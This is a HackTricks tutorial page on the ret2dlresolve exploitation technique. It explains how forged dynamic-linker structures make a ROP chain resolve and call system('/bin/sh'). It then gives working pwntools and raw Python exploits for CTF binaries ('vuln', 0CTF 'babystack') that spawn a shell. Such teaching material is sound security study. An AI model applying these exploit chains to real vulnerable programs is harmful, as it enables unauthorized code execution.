# Ret2dlresolve {% hint style="success" %} Learn & practice AWS Hacking:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ Learn & practice GCP Hacking: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)
Support HackTricks * Check the [**subscription plans**](https://github.com/sponsors/carlospolop)! * **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** * **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
{% endhint %} ## Basic Information As explained in the page about [**GOT/PLT**](../arbitrary-write-2-exec/aw2exec-got-plt.md) and [**Relro**](../common-binary-protections-and-bypasses/relro.md), binaries without Full Relro will resolve symbols (like addresses to external libraries) the first time they are used. This resolution occurs calling the function **`_dl_runtime_resolve`**. The **`_dl_runtime_resolve`** function takes from the stack references to some structures it needs in order to **resolve** the specified symbol. Therefore, it's possible to **fake all these structures** to make the dynamic linked resolving the requested symbol (like **`system`** function) and call it with a configured parameter (e.g. **`system('/bin/sh')`**). Usually, all these structures are faked by making an **initial ROP chain that calls `read`** over a writable memory, then the **structures** and the string **`'/bin/sh'`** are passed so they are stored by read in a known location, and then the ROP chain continues by calling **`_dl_runtime_resolve`** , having it **resolve the address of `system`** in the fake structures and **calling this address** with the address to `$'/bin/sh'`. {% hint style="success" %} This technique is useful specially if there aren't syscall gadgets (to use techniques such as [**ret2syscall**](rop-syscall-execv/) or [SROP](srop-sigreturn-oriented-programming/)) and there are't ways to leak libc addresses. {% endhint %} Chek this video for a nice explanation about this technique in the second half of the video: {% embed url="https://youtu.be/ADULSwnQs-s?feature=shared" %} Or check these pages for a step-by-step explanation: * [https://www.ctfrecipes.com/pwn/stack-exploitation/arbitrary-code-execution/code-reuse-attack/ret2dlresolve#how-it-works](https://www.ctfrecipes.com/pwn/stack-exploitation/arbitrary-code-execution/code-reuse-attack/ret2dlresolve#how-it-works) * [https://ir0nstone.gitbook.io/notes/types/stack/ret2dlresolve#structures](https://ir0nstone.gitbook.io/notes/types/stack/ret2dlresolve#structures) ## Attack Summary 1. Write fake estructures in some place 2. Set the first argument of system (`$rdi = &'/bin/sh'`) 3. Set on the stack the addresses to the structures to call **`_dl_runtime_resolve`** 4. **Call** `_dl_runtime_resolve` 5. **`system`** will be resolved and called with `'/bin/sh'` as argument From the [**pwntools documentation**](https://docs.pwntools.com/en/stable/rop/ret2dlresolve.html), this is how a **`ret2dlresolve`** attack look like: ```python context.binary = elf = ELF(pwnlib.data.elf.ret2dlresolve.get('amd64')) >>> rop = ROP(elf) >>> dlresolve = Ret2dlresolvePayload(elf, symbol="system", args=["echo pwned"]) >>> rop.read(0, dlresolve.data_addr) # do not forget this step, but use whatever function you like >>> rop.ret2dlresolve(dlresolve) >>> raw_rop = rop.chain() >>> print(rop.dump()) 0x0000: 0x400593 pop rdi; ret 0x0008: 0x0 [arg0] rdi = 0 0x0010: 0x400591 pop rsi; pop r15; ret 0x0018: 0x601e00 [arg1] rsi = 6299136 0x0020: b'iaaajaaa' 0x0028: 0x4003f0 read 0x0030: 0x400593 pop rdi; ret 0x0038: 0x601e48 [arg0] rdi = 6299208 0x0040: 0x4003e0 [plt_init] system 0x0048: 0x15670 [dlresolve index] ``` ## Example ### Pure Pwntools You can find an [**example of this technique here**](https://ir0nstone.gitbook.io/notes/types/stack/ret2dlresolve/exploitation) **containing a very good explanation of the final ROP chain**, but here is the final exploit used: ```python from pwn import * elf = context.binary = ELF('./vuln', checksec=False) p = elf.process() rop = ROP(elf) # create the dlresolve object dlresolve = Ret2dlresolvePayload(elf, symbol='system', args=['/bin/sh']) rop.raw('A' * 76) rop.read(0, dlresolve.data_addr) # read to where we want to write the fake structures rop.ret2dlresolve(dlresolve) # call .plt and dl-resolve() with the correct, calculated reloc_offset log.info(rop.dump()) p.sendline(rop.chain()) p.sendline(dlresolve.payload) # now the read is called and we pass all the relevant structures in p.interactive() ``` ### Raw ```python # Code from https://guyinatuxedo.github.io/18-ret2_csu_dl/0ctf18_babystack/index.html # This exploit is based off of: https://github.com/sajjadium/ctf-writeups/tree/master/0CTFQuals/2018/babystack from pwn import * target = process('./babystack') #gdb.attach(target) elf = ELF('babystack') # Establish starts of various sections bss = 0x804a020 dynstr = 0x804822c dynsym = 0x80481cc relplt = 0x80482b0 # Establish two functions scanInput = p32(0x804843b) resolve = p32(0x80482f0) #dlresolve address # Establish size of second payload payload1_size = 43 # Our first scan # This will call read to scan in our fake entries into the plt # Then return back to scanInput to re-exploit the bug payload0 = "" payload0 += "0"*44 # Filler from start of input to return address payload0 += p32(elf.symbols['read']) # Return read payload0 += scanInput # After the read call, return to scan input payload0 += p32(0) # Read via stdin payload0 += p32(bss) # Scan into the start of the bss payload0 += p32(payload1_size) # How much data to scan in target.send(payload0) # Our second scan # This will be scanned into the start of the bss # It will contain the fake entries for our ret_2_dl_resolve attack # Calculate the r_info value # It will provide an index to our dynsym entry dynsym_offset = ((bss + 0xc) - dynsym) / 0x10 r_info = (dynsym_offset << 8) | 0x7 # Calculate the offset from the start of dynstr section to our dynstr entry dynstr_index = (bss + 28) - dynstr paylaod1 = "" # Our .rel.plt entry paylaod1 += p32(elf.got['alarm']) paylaod1 += p32(r_info) # Empty paylaod1 += p32(0x0) # Our dynsm entry paylaod1 += p32(dynstr_index) paylaod1 += p32(0xde)*3 # Our dynstr entry paylaod1 += "system\x00" # Store "/bin/sh" here so we can have a pointer ot it paylaod1 += "/bin/sh\x00" target.send(paylaod1) # Our third scan, which will execute the ret_2_dl_resolve # This will just call 0x80482f0, which is responsible for calling the functions for resolving # We will pass it the `.rel.plt` index for our fake entry # As well as the arguments for system # Calculate address of "/bin/sh" binsh_bss_address = bss + 35 # Calculate the .rel.plt offset ret_plt_offset = bss - relplt paylaod2 = "" paylaod2 += "0"*44 paylaod2 += resolve # 0x80482f0 paylaod2 += p32(ret_plt_offset) # .rel.plt offset paylaod2 += p32(0xdeadbeef) # The next return address after 0x80482f0, really doesn't matter for us paylaod2 += p32(binsh_bss_address) # Our argument, address of "/bin/sh" target.send(paylaod2) # Enjoy the shell! target.interactive() ``` ## Other Examples & References * [https://youtu.be/ADULSwnQs-s](https://youtu.be/ADULSwnQs-s?feature=shared) * [https://ir0nstone.gitbook.io/notes/types/stack/ret2dlresolve](https://ir0nstone.gitbook.io/notes/types/stack/ret2dlresolve) * [https://guyinatuxedo.github.io/18-ret2\_csu\_dl/0ctf18\_babystack/index.html](https://guyinatuxedo.github.io/18-ret2\_csu\_dl/0ctf18\_babystack/index.html) * 32bit, no relro, no canary, nx, no pie, basic small buffer overflow and return. To exploit it the bof is used to call `read` again with a `.bss` section and a bigger size, to store in there the `dlresolve` fake tables to load `system`, return to main and re-abuse the initial bof to call dlresolve and then `system('/bin/sh')`. {% hint style="success" %} Learn & practice AWS Hacking:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ Learn & practice GCP Hacking: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)
Support HackTricks * Check the [**subscription plans**](https://github.com/sponsors/carlospolop)! * **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** * **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
{% endhint %}